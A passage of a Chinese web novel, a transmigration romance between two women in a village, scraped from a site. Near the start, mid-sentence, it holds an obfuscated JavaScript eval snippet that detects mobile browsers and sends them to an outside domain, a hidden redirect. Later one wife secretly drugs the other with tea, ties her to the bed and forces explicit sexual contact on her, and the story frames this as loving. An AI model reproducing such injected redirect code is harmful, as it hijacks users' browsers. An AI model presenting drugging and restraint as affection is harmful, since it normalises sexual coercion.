对方见她躲,也不高兴了,“躲什么,你既喜欢的是女子,便与我们男子一样啊,我们男子都是这样勾肩搭背的!” 宋渝归:逆天言论。 她瞬间对眼前男子生了不喜,但对方看起来与原主相熟,她又不想露出太多破绽。 只能勉强说出第一句话,“男女有别,女子就是女子,就算我喜欢的……是女子,也不该和男子行的太近。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14262796|149588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>一边说,一边又默默往后退了一点。 对方也看出了她不情愿,滑稽的在原地跳了两下,奇怪道,“你今天怎么了,好像跟以前不大不一样啊。” 宋渝归心里一惊,面上维持住云淡风轻的样子,“有吗?” 男子重声,“有啊!你怎么去镇上找活儿干了,你不是说要像鬼一样缠着村花,直到村花答应嫁给你吗?” 宋渝归:? 谁,缠着谁? 她是猜到原主或许心有所属,但没想到原主喜欢的竟然是村花,眼光还挺高,但谁是村花? 她没见着啊,村里最漂亮的姑娘不就是沈惜枝吗? 宋渝归低头遮住眼里一闪而过的茫然,又骂原主,喜欢村花你就娶村花去好了,折腾别人干嘛? 脑子有泡。 “我现在不喜欢村花了。” 她不知道自己几时会回去,也可能永远回不去,自然要为自己澄清。 喜欢村花的是原主,跟她有什么关系。 “啊,这就不喜欢了?你不是说这辈子娶不到村花就不会碰任何女人吗?” 宋渝归:…… 混账东西。 想到原主留下的烂摊子,她有些不耐,“说了不喜欢就是不喜欢,我妻子还在家中等我,我就先回去了。” 听她提到妻子,男子眼中精光一亮,忙再次拦住她,笑的龇牙咧嘴,“等等,我也去你家,我有事跟你说,天大的事。” 宋渝归缓缓打出一个问号,说啥? . 沈惜枝本坐在院子里缝补衣物等妻子回来,好不容易等到了,可妻子竟从外面带回一个男子,还吩咐她倒水给他喝,这一刻,她才真切明白,什么是遍体生寒,如坠冰窟。 为什么宋渝归这段时日待她这么好,给她买新衣服,今日走前还特意叮嘱她要换上。 她以为是她想看,谁知……她竟是想卖了她! 想卖个好价钱! 沈惜枝猛的站起身,原本萌动的春心碎成片片,她咬唇瞪了两人一眼,转身往屋里跑去,眼里情不自禁涌出雾蒙蒙的水汽,豆大的泪珠一颗一颗往下砸,泪眼之后,又泛过浓烈的恨意。 宋渝归不解沈惜枝为何见了他们转头就走,无助的挠挠后脑勺,难道是不喜欢往家里带人?好吧,那确实没与她商量,是她的问题。 下次不带就是了,怎还生气呢。 宋渝归心知今晚又要哄人,愁的头发都要掉了。 偏那男子还鬼鬼祟祟凑过来与她说,“你怎么真跟她过上日子了,不是说她只是你娶来气村花的吗?” 宋渝归惊讶,低头, 未解之谜解开了,怪不得要娶惜枝,原来是与那什么村花赌气。 呵,这等事竟还牵扯无辜女子,简直无耻。 怒意被尽力压制,纤长漂亮的手指在桌上敲击,发出清脆的响声,声音莫名沉了许多,“你不是说有天大的事要跟我说吗?” 刚才在路上她就试图问,可对方不肯说,非要过来说,思及邻里都在家,她又想知道原主还给她留下了什么麻烦,才让人过来的。 那男子莫名抬头看了眼里屋,嘴角笑容淫邪,倏然凑近,“你不觉得沈惜枝长得越来越漂亮了吗,我这边有个人,最近想寻个美人儿快活一下,他愿意出这个数,比你当初给的聘礼还多,你说过,若真卖出个好价钱,会分我一成的。” 宋渝归:! 理智的弦“啪”一下断了。 50-60 第51章 作收加更,二合一 小姑娘气性大,也是该生气的,虽没有很凶的推开她骂她,但举动之间几乎要气的浑身发抖,也不搭理她。 宋渝归自以为将人哄的好了一点,去堂前烧了个热水打算给媳妇儿泡个脚,结果一回来就见她在偷偷掉眼泪。 像小鹿一样漂亮的大眼睛红彤彤的,晶莹剔透的眼泪一串接一串往下掉,让人看了别提有多心疼。 宋渝归的心也跟着抽了一下。 酸酸胀胀的难受。 站了好一会儿才敢走过去,抬手犹豫着,轻轻摸了摸沈惜枝的脑袋。 她便只抬起红彤彤的眼眶看她一眼,复又低下头去,哭的极其安静。 “别,别哭了。” 她轻声哄,哄的也有些僵硬。 沈惜枝并不听她的,小声吸了吸鼻子。 她没想哭的,但一掉眼泪,好像就要忍不住了,一直掉一直掉。 见媳妇儿只顾自己哭,宋渝归眉心微微蹙起,心疼的那是心都要碎了,先是坐到她身边手忙脚乱的拍着后背哄她,后又跪到她面前为她擦眼泪哄她。 “别哭了,祖宗,求你了,我就说错这一句话,怎能将你气成这样。” 不敢试探了,这是真真儿再也不敢试探了。 好久好久,那哭意总算歇了会儿,沈惜枝咬着娇嫩唇瓣止住哭泣,眼睫上仍挂着湿润的水珠,看起来可怜的不得了。 宋渝归捧了捧沈惜枝的脸,见她大眼睛小鼻子都红红的,叹气,伸手去擦她湿润的眼睫,“我去给你打盆水洗脚好不好?” 沈惜枝望着她,好久,才哑声回了一个字,“好。” 宋渝归松口气,摸摸怀里人柔嫩的后背,起身给她打水去。 回来时沈惜枝还维持着她离开时的模样,没有动,但好歹也没哭了。 没哭就好。 宋渝归莫名松了口气,将冒着热气的水盆放她面前,见她还在愣愣出神,干脆动手替她去了鞋袜。 一道冷淡的目光落在她头顶,她将人惹哭成这样,都不好意思抬头看。 “额……要我帮你洗?” 白皙如玉的足浸入热乎乎的水中,却没有动,她不由问。 那只脚这才动了一下,慢慢将两只脚叠在一起,搓了搓。 好白。 宋渝归满脑子都是这两个字。 好一会儿,面前冷清的声音又响起了,“你不洗吗。” 宋渝归一愣,接着连忙点头,“洗,我洗的。” 平时她们都是各洗各的,但今天把人惹生气了,若是直接发泄凶她也就算了,偏偏是这样悄无声息的悄悄哭,宋渝归心里便难受的很,十分舍不得,自然什么都听她的。 最后两双白脚一同浸入热水中。 盆不大,脚总不可避免会碰到,对方修剪圆润的脚尖轻轻抵着她的脚,宋渝归格外尴尬,动了动脚,心里有点想退缩,又怕沈惜枝更生气。 她不想再看见惜枝哭的模样了。 犹豫半晌,还是没退,反而抬脚,摁在那两只纤白玉足上。 摁着她搓了搓,再悄悄抬眼,沈惜枝神色果然好看很多。 她似乎知道该怎么哄了,只是心中依旧忐忑。 啊,要这样啊,这样怎么可以,不是说好了要还她自由,要给她很多很多钱然后和离的吗。 怎么…… 宋渝归低头,掩住眼底的纠结,慢慢搓媳妇儿的脚。 那脚比她的要小一个号,大抵是平日里不怎么见阳光,所以又白又嫩的,踩上去也感觉滑滑的。 因这样亲昵的举动,沈惜枝脸色好看了一点。 虽然心依旧被人无意间伤透了。 她垂着一双漂亮眸子,洗完脚后也任由宋渝归拿抹布替她擦了擦,随后安静的躺在床上。 等宋渝归倒了水给鸡加了餐回来后,媳妇儿已经脱干净躺好了。 她脚步顿了顿,以前习惯了惜枝不穿衣服睡觉,还不觉得有什么,可现在…… 她觉得有些太暴露了。 宋渝归小心翼翼爬上床,一躺下,妻子那双冷泠泠的眼睛便看过来。 她沉默半晌,一点一点挪过去,像往常一样把沈惜枝抱进怀里,紧紧揽着。 沈惜枝不反抗,却也没有伸手抱她,不一样了。 “不穿衣服睡觉容易着凉,你……要不要以后把衣服穿上睡?” 大抵是脑海里的竞争太过激烈,思绪太乱了,宋渝归竟将心中所想说了出来。 她还需要一点时间思考,总觉得……惜枝穿上衣服会更好。 然而怀里人却不这样觉得,不敢置信的抬眸看着她,贝齿将唇咬到出血,然后猛的从她怀里退出去。 王八蛋,她已经有决定了,她不要我! 混蛋,既不想要我,又为何要来招惹我? 小姑娘伤心的眼泪简直控制不住,哗啦啦往下流,不一会儿就沾湿了枕头。 宋渝归脑子里轰的一声,待回过神自己说了什么的时候,真想一巴掌把自己拍地里去。 好不容易哄好的,现在又不好了。 宋渝归气的不行,手指紧张的向前探了探,小心翼翼收回自己刚刚那句话,“你不想穿也没事,我抱着你,这样暖和一点不会着凉。” 沈惜枝避过她的手指,沉默的背对着她。 漂亮的蝴蝶骨在她面前显露无疑。 但床就这么一点大,她再躲,又能躲到哪里去呢? 宋渝归凑近,一点一点,拦住柔韧的腰肢,将她拉到自己怀里,而她,毫无反抗之力。 沈惜枝更气了,不要的是你,反复来招惹我的还是你,你到底想怎样! 宋渝归察觉女子身子微微发颤,猜测这是又哭了,心中万分懊悔,“我说错了,你别和我一般见识,我……我是胡说的。” 她终于发现,沈惜枝凌驾于她一切设想之上。 只要她一哭,她所有设想好的结果都将被推倒重来,除非得到一个不会将人惹哭的结局…… 宋渝归无奈的叹了口气,默默将怀里人搂紧了。 即使被重新抱住,即使她收回了那句话,沈惜枝心里的难过也没有消散半分。 再没有如此清楚的认知到过了,我的妻子不喜欢我。 她娶我,或许真像旁人说的,只是在与宋姑娘赌气,她现在可能真的不喜欢宋姑娘了,但以前,她至少对宋姑娘是真心的。 而我,从未碰到过她一丁点儿真情。 沈惜枝难受的厉害,小腹上的手掌热乎乎的,她情不自禁在心里骂人,不喜欢我还总与我亲近,若不是你这样,我岂能变成如今这幅样子? 你引诱了我,又想将我抛开,想都别想! 一只手缓缓碰着她的指尖,最后慢慢将她的手覆住了。 被媳妇儿亲近的宋渝归松了口气,默默反手握住那只细嫩的小手,在掌心不停揉搓。 大抵是因为生气,沈惜枝浑身发软。 “别难过,今日我精神不大正常,你就当我脑子不好行不行?让我想一日,再让我想一日。” 再想一日,她一定能想清楚的。 在她看不见的地方,沈惜枝眸光冷冽,呵,不喜欢就是不喜欢。 但,不喜欢也别想扔掉我。 她没再说话,安静的仿佛已经睡过去了,可宋渝归能从她偶尔粗重的呼吸中得知,没睡,根本没睡。 心虚死了,她只能一边握着人手一边揽着人腰儿,安抚般摸摸。 沈惜枝垂眸望着腰间那只手,心想,你看呀,她就是这样勾引我的,现在又在向我靠近,仿佛很喜爱我的模样,若非如此,我怎么会这么快就…… 就非她不可呢…… 一夜无梦,两人各怀心思。 等沈惜枝迷迷糊糊终于要睡去时,耳边又响起窸窸窣窣的起床声。 到杀猪卖猪的时辰了。 宋渝归一直记挂着昨日的事,自个儿也没睡好,爬起来时觉着又困又头疼。 真受不了。 但她心里的两个想法,无论是哪一个,都需要许多银子撑着,旷工是肯定不行的。 还得继续赚钱。 杀猪的时候她便在想,惜枝是认真的,还是因为无所依靠才产生这样的感情? 卖猪的时候又在想,到底还要不要和离啊…… 若是和离,她定舍不得给人的银子太少,想到惜枝过苦日子,她心便一拧一拧的疼。 若是不和离…… 那她更不会以现在的标准将人养着,真当自己媳妇儿一样对待,肯定要样样精贵吃好喝好。 宋渝归长叹一口气,是真不知道该怎么办了。 “老板,来两斤梅花肉!” 正失神想着,面前响起女子清脆的声音。 宋渝归下意识应了一声,就拿起刀准备割肉,忽然觉得不对,抬眼,赫然是池厢月双手环胸的站在面前。 宋渝归:扶额头疼。 “你怎么来了?” “哼,我来买宝月阁的糕点啊,要不要帮你也买一点?” 宋渝归摇摇头,利落割下两斤梅花肉扔过去,并道,“七十文。” 池厢月随手拿出一个钱袋子扔过去,“我还能少给你钱吗,哎,昨天怎么样了,你和惜枝和好了没有?” 宋渝归长睫微垂,低头数着铜板,觉得她哪壶不开提哪壶。 半晌摇头,“你今日回去替我陪陪她,但她如果不想说话你就别打扰她了。” “啧啧,惜枝气性那么大?不过你也是,怎么能这么说话呢,听村里人说你们都成婚两年了,还朋友朋友,是我我也生气。” 宋渝归头疼,女主不知她昨日在试探,才能这么说,但她也后悔了自己的试探。 有啥好试探的,日子稀里糊涂过呗,真是自找麻烦。 “嗯,我的错,你帮我哄哄她,跟她说我晚上回去给她带糖画。” “啧啧,一点糖画就想收买惜枝?” “反正你这么和她说就好了。” “行吧行吧,我还想去你家吃饭呢,你们吵架我都不敢去了。” 两人说了一番,池厢月买糕点去了,过一会儿,又拎着一包糕点与她打完招呼回家。 宋渝归愣愣的想,若真离了沈惜枝,两人只交朋友,她就能安心了吗? 握着杀猪刀的手越来越紧。 不能,那必然是不能的。 想到和惜枝分居两地,两人再也不亲密无间,她只能偶尔见到惜枝,更甚至,惜枝或许会喜欢上别人。 她见不得惜枝过苦日子,就算和离了也会努力挣钱养她,以惜枝的性子,她若喜欢上一人又定是全心全意的付出,那他老子的岂不是要拿我的钱养别人? 属实光是想一想这场面就要气炸了。 宋渝归脸色冷下来,一时吓走了好几个准备买肉的顾客,好一会儿才稍作冷静。 原来是这样啊,我虽然没准备好跟惜枝在一起,但我却绝不愿意放开她,真心让她离开我左右。 所以答案是什么,简直显而易见,不是吗? 有人来买排骨,宋渝归抿着唇给人砍了一根,愈发确认,她不愿见到沈惜枝同别人有牵扯,无论是宋星川,还是其他男的女的。 不行,都不行。 她只能伴着我,不能跟除了我以外的任何人有感情线! 这肉卖到中午,她便有些卖不下去了,没卖完就没卖完,有些事,她迫不及待要告诉惜枝。 急急忙忙收了摊,去对面按自己的模样买了一支糖画,用油纸小心套好,又去之前去过的成衣店继续买了一身衣裳,这次是按她的喜好,纯白如雪的绢裙,又上隔壁首饰店,大大小小买了好几样首饰,花了许多银钱,一一装在包袱里,打算回家哄媳妇儿去。 东西有些多,装在包袱里都显得十分有重量。 最后才是推上自己的拉肉车,往乡下赶。 平日这个时辰还没卖完肉的话她一定会先在镇上吃个饭,但今天急着哄老婆,肚子也没那么饿了,归心似箭。 一路急匆匆到村门口,回家的小道儿上,与乡里乡亲打过招呼,远远就见道儿中间站着一人。 是宋心雨,她最近好像就喜欢在这儿看风景,每天回家都能碰见。 “宋渝归。” 刚准备无视她走就被她叫住。 她不得已维持礼貌,停下。 “宋姑娘。” 宋心雨带着一脸复杂的笑容看过来,她说不出那是个怎样的感受。 让人感觉……有点奇怪,好像在怀念什么。 “你现在都这么叫我了?” 她说。 宋渝归浑身都不自在,心想,我不这样叫还能怎么叫? “当然,我们……女女有别。” 我可是磨镜,磨镜,自然要与别的女子保持些距离了。 不然如何能叫妻子安心? 宋心雨心里想着,她现在倒是知道女女有别了,从前骚扰全村女子的人也是她。 谁能想到她会有一朝幡然醒悟呢。 “我家里为我订了婚事。” 她忽而道。 宋渝归一愣,心里想着与我说做什么,嘴上却道,“那恭喜恭喜,是哪户人家?” “是隔壁村的杀猪匠。” 宋渝归:…… 怎么这辈子就跟杀猪的杠上了? “哦,那,那也挺好的。” 宋心雨心里却不觉得有多好,都是杀猪匠,隔壁那个她见过了,生的…… 无法言说。 虽有些钱,但为人抠搜小气,亦不如宋渝归大方。 还记得第一次在长辈安排下见面那一日,对方不肯陪她去镇上,邀她沿着田野走了三四五六七八遍。 不如宋渝归。 她心里只有这一个念头,一点都不如宋渝归。 这个地方说巧也巧,正对着小土坡上的房子。 沈惜枝身心疲惫极了,从屋里出来喂鸡时尚有些精神恍惚,然而一抬眼,竟见自己的妻子,在田野间与旁的女子相谈甚欢。 还递给了她一个油纸包。 里面是什么她看一眼就知道了。 池厢月今日与她说,渝归姐姐回来时会给她带糖画,可现在糖画到了别人手上。 她将给我买的东西,给了旁人,还是她曾经喜爱过之人。 沈惜枝深吸一口气,紧紧攥着手,指甲几乎要抠破掌心,纤细的身形摇摇欲坠。 她的心被撕裂出一道口子,几乎忍不住怀疑,又回心转意了吗,说不喜欢她都是骗我的吗? 不可以,我绝不答应。 …… 包袱里装了许多东西,本就重重的,她在道儿上停久了,终于有一个小盒子忍不住掉出来,一个掉出来了其他的便也紧赶慢赶的跟着掉出来,宋渝归捡的手忙脚乱,只能让宋心雨帮她拿一下糖人。 等七七八八散落的东西都捡起来后,她又把糖人拿回来。 宋心雨此时已然惊呆了,“这,这些……都是你给沈姑娘买的?” 宋渝归骄傲的挺了挺胸,“对啊对啊,不给她买我还能给谁买,我又不爱戴。” 她是杀猪匠,平日里穿的灰扑扑便好,带些首饰万一沾了血还怪膈应的,媳妇儿则不同,她又不用杀猪,自然得打扮的漂漂亮亮的,还是小姑娘呢。 宋心雨对她骄傲的神情很有些无语,半晌又低下头轻声问,“你如今这么喜欢她啊……” 喜欢,自然是喜欢的。 但宋渝归今日才想明白心意,有点不好意思说,挠了挠后脑勺,咧嘴笑了。 也好,宋心雨说,“那你日后就和沈姑娘好好过吧,沈姑娘是个好姑娘,你可莫要再行以前那般行径了。” “那是自然,不必你说也是应该的。” 这一次,她不会再让惜枝受委屈了。 宋渝归急着回家哄老婆,又告别了宋心雨,开始推着车往家里跑,刚上小土坡,就扯着嗓子喊人,“惜枝,我回来了,惜枝!” 里面没有一丝动静,小姑娘也不像以前般欢欣雀跃的迎出来,宋渝归也不在意,生着气嘛,不理我很正常的。 她推了门进去,果然见床边坐着自己的妻子,正用梳子有一下没一下的梳头。 青天白日,她却将衣裳脱了个精光,肌肤白腻的极惹人眼。 宋渝归吓死了,连忙将门关上,心几乎要跳出胸腔,她震惊,“你,你才刚起床吗?” 不然怎么衣服都没穿? 也没有盘发髻,乌黑茂密的长发就这么披散在身上。 遮住了半边雪白的身子,也微微遮住……两点粉色。 小姑娘如今年轻鲜嫩,身上该白的白该粉的粉,没有色素沉淀,好看的厉害。 宋渝归眼瞳颤了颤,只看了一眼,便害羞偏首。 不敢看,不敢看,嘿嘿。 沈惜枝见她连看都不看一眼自己,眼眶红了红,但什么都没有说,只是垂首道,“我要午睡,你睡吗?” 宋渝归:“啊,你要午睡?那,那我也睡会儿吧。” 怎么今日午睡这么早,我还没吃午饭呢,难不成是惜枝以为我会在镇上吃,所以自己先吃了? 好吧,惜枝还在生气,不等我吃饭也十分正常。 宋渝归忍住心里的失落想,刚把手上东西放到一旁, 那具雪白的身子却动了,从床上起来,径直走到她面前,指尖握着一只茶杯。 茶具是两人一起选的,青色竹节样式,她们很喜欢。 “这是我泡的茶,安神的,你喝一点?” 说罢视线微微往下瞟,见到熟悉的油纸包,里面透出一点姜黄色 。 是宋姑娘拒绝了,所以她又拿回来了? 哼,定是这样的,她终究是放不下。 “哦。” 安神茶是之前惜枝买的,宋渝归只当她偶尔睡不着,想喝一点调理一下,没多想什么。 眼下对方递给她,也不曾多问,仰头就是一杯落肚。 沈惜枝微微垂眸,脸上神色也看不出究竟是高兴还是不高兴。 宋渝归上前一步,握着她的手,有些紧张,“你……我……” 话没说完,就被人打断了,“我好困,先睡吧,有什么事睡醒了再说。” 她不想听我说话。 宋渝归心里又划过一阵失落,垂首握住妻子的手腕,却发现这只手冰凉入骨,于是回过神来,这么冷怎么能不穿衣服在被窝外待着,这不是要冻坏了? 她急得不像样,连忙将人拉到床边,摁着她肩膀将她摁到床里去,拿被子裹巴裹巴包起来,面容也严肃几分。 “这么冷的天,你又想得热病了?” 她是一朝被蛇咬十年怕井绳,生怕沈惜枝又得了热病。 沈惜枝却看起来对自己的身体不大在意,盖被子也行不盖也行,既然被塞进去了,她便往里面躲了躲,给宋渝归让出一点位置,示意她进来。 安神茶果然有安神的功效,只这一会儿她便困了,也干脆脱了衣裳躺进去,只着一身单薄的里衣。 躺了一会儿,沈惜枝忽而又道,“渝归姐姐穿厚一些睡觉吧。” “为何,我不冷。” “你冷。” 她坚持。 宋渝归:…… 行,你说我冷我就冷。 她没多说什么,爬起来又套了一件夹袄,躺下继续抱着人睡。 沈惜枝似乎也真困了,躺在她怀中很快便闭上眼睛,连往日有的睡前闲聊都没了。 宋渝归一脸懵逼。 只好也跟着睡了。 昏暗的屋子里,门窗紧闭,一双雪白玉足勉强趿着鞋子,走到门后,手指轻轻一抵,便将门栓死了。 窗户也是如法炮制。 现在这个屋子里,不会有人再来打扰她们。 沈惜枝勾了勾唇角,露出满意的笑容来,又缓缓往回走。 漂亮的身子不着寸缕,回到榻上,乖乖躺下,依在女子胸口处。 待宋渝归迷迷糊糊醒来,肚子早已饿的不行了,正要起床,手想撑着床,动了动,却没能如愿,被什么紧紧束缚住了。 她一愣,抬眼看去,只见手腕上是一根粗大的麻绳,两只手都有,她想将腿蜷一下,结果腿也动不了,仔细一看,嘿,两只手两只腿都被控住了,无助的被绑在床上,像个大写的Y。 宋渝归:…… 不是,这什么,什么情况,有人想暗杀我? 我老婆呢? 她一扭头,老婆还躺在她胸口上,睡的香甜。 小脸睡得红扑扑,粉嫩的小嘴也微微嘟起。 是谁干的好事一目了然。 宋渝归张了张嘴,又闭上了,惜枝不同于旁人,她心性脆弱,柔软,你不能凶她,不然她要哭的。 可难道我就要这么躺着? 那也不行啊。 她扭头努力去看那绳索,想看看能不能提前把自己解救出来,但动作太大,一时吵醒了怀里人。 沈惜枝在她怀里娇娇嘤咛一声,揉着眼睛爬起来,见她睁眼,神色有些惊喜,“妻君,你醒了!” 宋渝归:…… 你怎么好意思摆出这幅仿佛什么也没发生过的样子。 我刚回来时,你对我可没那么热情。 她察觉有什么地方不对了,咽了咽口水,为什么惜枝……跟原文里黑化了一样,一点都不像个好人了? 沈惜枝轻伏在妻子怀里,软声道,“你出去一日,我都想你了。” 宋渝归没忍住动了动自己给禁锢住的手腕,小心翼翼问,“是这么想的吗?” 想我想到把我绑了? 那你也太想我了。 见到那条被绑住的手,身上女子脸色倏然一变,露出接近于带着恨意的神色,吓死人了,她低下头,眸子沉沉,“是你不乖,你想欺负我。” 宋渝归:惊天大锅!!! “我什么时候想欺负你了?” 我从来,从来没有过任何要欺负自家反派的想法,我发四! “你不要我了,是不是?” 小姑娘低声控诉般问。 明显是对她昨日的种种言行怀恨于心。 宋渝归忙就要解释,可她一个字也不想听,素白小手捂着她的嘴,“别说话了,省一点力气吧。”?什么意思,我都被绑了动不了了还不许我说话? 天理何在! 正要叛逆的说一句我不,沈惜枝便接着问,“妻君,你这么聪明,知道磨镜是如何行房事的吗?” 宋渝归一点一点睁大了眸子,她眼眸里全是震惊,喉咙却不自觉咽了一把口水,“你,你想做什么?” “妻君,我教你磨镜如何行房事,好不好?” 宋渝归瞳孔地震,这用人教吗? 谁没看过片子!!! 可沈惜枝不想听她说话,柔软的身子欺压而上,将两对绵软的胸口抵在一起,用力触碰。 她说,“池姑娘想知道何为磨镜,因此买了画本,我看见了,所以我会的,妻君,我知道该怎么做,我教你吧。” 池厢月我xxx!谁让你带坏我媳妇儿的! 她眸里的暗沉褪去,透着些许光亮,就这样不着一物坐在她身体上,然后分开双腿,那软乎乎胖嘟嘟的,便直接贴在她腰上了,半分不羞。 宋渝归着急忙慌,刚要偏头,就被沈惜枝两只手捧着脸,强硬扭回来,她有些生气,腮帮子又鼓了鼓,“看着,不许跑,不看我你还想看谁?” 想看别人的罪名宋渝归又不敢担,只能缩着脖子默默老实了。 可一低头,雪白的腿间,那粉嫩颜色,简直……嫩到她心里去了。 她失神的想,原来我是百合啊,怪不得我对找对象没兴趣,我还以为我单纯厌男呢。 身上女子似乎极其敏感,身子轻蹭了蹭她的腰,便是浑身一颤,她还颇为委屈,“你都不摸我,全让我一个人来。” 宋渝归:??? 不是,姐,你要不要看看我现在这个样子,我拿什么摸你? “你把我松开先。” 她暂且还留了一点理智,冷静道。 可沈惜枝直接便忽略了这句话,还满含怨气的嗔了她一眼,“你是我见过最狠心的人了。” “今日之后,你一定很讨厌我。” 沈惜枝自顾自的说话,趴在她身上,撅着雪白的两瓣小屁股,软处却不停擦,偏她又受不住,擦一下呜一声,倒像是被她怎么狠狠欺负了一样。 宋渝归不敢看别处,怕又被按莫须有的罪名,只能直勾勾盯着她媚生生的小脸,声音不知不觉哑了,眼睛还是大大的睁着,不敢想象自家最爱害羞,旁人调侃一句就能羞涩的躲去她身后的妻子,能做出这种出格的举动,“不,我不会讨厌你,你误会了,我没有讨厌你,我今日本就想与你说清楚,我……” 话又没有说完,妻子的樱桃小嘴不管不顾撅着吻了过来,湿润绵软,热乎的眼泪一连串砸在她脸上,烫去她心里,小姑娘泪眼盈盈的,抬起一点脑袋,控诉,“你就是讨厌我,若非厌我,怎会从不碰我?” “我……” 又被堵住了。 宋渝归心里格外无助,眉眼耷拉着,想解释,又发现这事根本没办法解释,谁家磨镜娶女人会不碰的?原主有理由,她是为了气村花才娶的,但这理由她要是敢说出口就等死吧。 宋渝归弱小可怜又无助,被人压在床上,掠夺了口中所有空气,只能抬着下巴任人作为,她心里甚至愤怒的想,等我恢复自由身,你就死定了,沈惜枝!!!你死定了! 好不容易寻得空隙,沈惜枝松开了她的唇,在轻轻喘气,她连忙一鼓作气说完,“不管你信不信,反正我没有讨厌你,我很喜欢你也没有不要你,都是你瞎想的!” 她愤愤望着沈惜枝,却只等到一句固执的,“我不信。” 娇软的身体覆在身上,两只手紧紧去扣她的手,指尖冰凉冰凉,还要将身前一抹嫩色喂到她口中,她被迫吃了一下,也凉的很,顿时怒了,“沈惜枝,你把被子盖上,等下着凉了有你好受的,快点!” “不盖!你都不要我了,还管我会不会着凉吗?” “我什么时候不要你了,你,你都是自己幻想的,我一句话也没有说,你你你,你气死我了!” “我想的没有错,你就是这个意思。” 沈惜枝泪意再次濡湿眼睫,蹭了许久,除了将对方衣裳弄湿一小块后,什么也没有,她仿佛猜到,有什么是一个人做不到的,可宋渝归不肯帮她。 坏蛋QAQ。 “不穿就别叠我上面,下去!” 旁的闹一闹没什么,拿身体开玩笑她绝不允许,见沈惜枝不听话,顿时有些失了耐心,身子都要扭成麻花了,就不愿意让她坐自己身上。 最后,沈惜枝翻出一件莹白云锦披风,堪堪遮住雪色的皮肉,咬着小嘴泪眼盈盈坐在她身上看她,好似她做了多过分的事一样。 天地良心,她的手脚都还绑着呢,能对沈惜枝做什么? 第52章 挣脱 正是初春,万物复苏的时节,外头的春风温柔和煦,宋渝归呈Y字躺在房间里,陷入了绝望。 沈惜枝泪眼盈盈坐在她身上,一个劲儿掉眼泪,若是放声大哭还好一点,偏她哭起来是无声的,眼泪安静的滑过脸颊,顺着尖细的下巴滴在她衣服上,极惹人心疼。 她衣服这下也是真湿透了。 宋渝归深吸一口气,望着面前洁白如玉的身体,耐着性子,“你先把我松开,让我哄哄你好不好?” 我自认这话说的温柔极了,可奈何,对方半个字都不肯听,甚至凭空就污蔑她,“不要,我松了你,你就要与我和离了。” 声音哽咽嘶哑,委屈的厉害。 她今日一时冲动,做了绑人的事,现在却发现开弓没有回头箭,若是松了她,她一定会很生气,会不要她的! 沈惜枝泪眼盈盈,惧怕这样的答案。 宋渝归气的心肝肺都疼,她再次强调,“不会!不会生气,也不会不要你!” 对方娇弱的身子轻轻伏在她身上,湿乎乎的下巴也抵在她肩膀上,哽咽着说,“你肯定是想骗我松开你,然后,然后你就不要我,你就生气,是不是?” 宋渝归:…… 收起你爱幻想的臭毛病!!! 她几乎咬牙切齿,“没有!你到底要我怎么做,才肯相信我?” 沈惜枝抿着唇,好一会儿才说,“那你,你摸一摸我,哪儿你都摸一下。” 她话里暗示的实在是太明显了,但宋渝归:…… 不是,老婆,你失忆了? 她竭尽全力动了动两只手,连床都给她拖的移动了下。 控诉的看着媳妇儿,不敢置信,“我这样,你要我摸你?” 不是,天理何在啊! 沈惜枝:…… 过了一会儿,响起女子娇娇的轻哼声,她放弃了被摸摸的想法,不讲道理起来,“反正我不管,你就是不要我,我们同床共枕了那么久,你从来不想摸我的!” 她每次都很老实,很老实很老实。 只揽着一处地方,也不乱摸,最多摸一下她屁股,别的就没有了,如若喜爱她,怎会这般? 宋渝归感觉自己今儿真是比窦娥还冤,那时候,那时候她们还没那什么嘛! 她岂能乱摸,不成登徒女了? 但她没想到,如今规矩,不乱摸也成了她的罪状之一。 心如死灰。 “那你想怎样?将我绑在这里一辈子?” 她也有些生气道。 沈惜枝害怕她生气,抿唇看了她一眼,脖子往后缩了下,但是她又很快强硬起来。 妻子如今被绑着,任我鱼肉,我焉有退缩之理? 这或许是我一辈子,唯一一次与她亲近的机会。 若松了她,我哪能再碰着她,她怕是会迫不及待便将我扫地出门,不要我了。 沈惜枝纤长的眼睫上含着泪,凑过去就糊了宋渝归一嘴巴。 整张嘴都被包住了,咸咸的眼泪也被迫吃进嘴里。 她先是抢着人舌头吮,后面又叼住一片唇瓣吮,完全无视宋渝归绝望的模样。 宋渝归生气又无可奈何的用力动了动手臂,一开始是被绑的一分都动弹不得,眼下她竟发现,能动一点了。 绳子在几次挣扎之后,终于松动了。 虽然手还是出不来。 但胜利仿佛在向她招手,宋渝归忍不住放下狠话,“你有本事一直当缩头小乌龟,等我出来你就死定了!” 沈惜枝像是抓到什么证据般,从她身上爬起来,素白如玉的手指指着她控诉,“你看你看,我就说你讨厌我,你总是对我这么凶,你都不曾对宋姑娘凶……” 她看上去真是委屈极了,但问题是,宋姑娘又不是我媳妇儿,我无缘无故对她凶合适吗? 你哪次不是做错了事我才凶你的,凶完了你要是掉眼泪珠子,哄的不也是我? 麻了。 宋渝归张了张口,想为自己辩驳,又觉得很无力,双眼泛白的躺在床上。 无助极了。 沈惜枝见她连辩解都没有…… 雪白的牙齿紧紧咬住红润唇瓣,小屁股又撅了撅,在她腰上重重擦了一下。 “呜” 敏感的姑娘自己动的,偏自己还承受不住,纤长白嫩的天鹅颈直直往上仰,呜咽出声,一双眼睛泪意朦胧。 后又解开披风,露出雪色内里,一点一点,坐着她的腰拖过来,一边拖一边哭的厉害。 那样娇嫩的地方,怎能经得起这般摩擦? 定是水意涟涟。 宋渝归深吸一口气,“沈惜枝你把衣服给我拢好!你要是冻着唔” 威胁的话没说完,嘴又被堵住了。 小姑娘还在软声哀求,眼尾眉梢都透着一股可怜,“不要咬我,好不好?” 她既想让宋渝归吃,又怕自己主动送过去,被咬了怎么办? 宋渝归真想咬她一下,又怕咬疼了她,小姑娘坐在她身上掉的眼泪能把她淹了。 “呜” 漂亮的鹿眼被茫然水色挡住,原来心上人的亲密触碰,是这种感觉啊。 如果,如果还有下次就好了。 